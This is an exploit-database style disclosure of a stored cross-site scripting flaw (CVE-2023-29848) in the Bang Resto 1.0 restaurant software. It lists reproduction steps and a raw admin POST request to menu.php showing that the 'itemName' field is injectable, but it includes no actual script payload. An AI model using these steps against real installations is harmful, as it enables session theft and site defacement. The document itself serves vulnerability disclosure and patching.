Bang Resto 1.0 Cross Site Scripting

`# Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)  
# Date: 2023-04-02  
# Exploit Author: Rahad Chowdhury  
# Vendor Homepage:  
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html  
# Software Link:  
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip  
# Version: 1.0  
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53  
# CVE: CVE-2023-29848  
  
*Steps to Reproduce:*  
1. First login to your admin panel.  
2. then go to Menu section and click add new menu from group.  
your request data will be:  
  
POST /bangresto/admin/menu.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/111.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 87  
Origin: http://127.0.0.1  
Referer: http://127.0.0.1/bangresto/admin/menu.php  
Cookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6  
Connection: close  
  
itemName=test&itemPrice=1&menuID=1&addItem=  
  
3. Then use any XSS Payload in "itemName" parameter and click add.  
4. You will see XSS pop up.  
`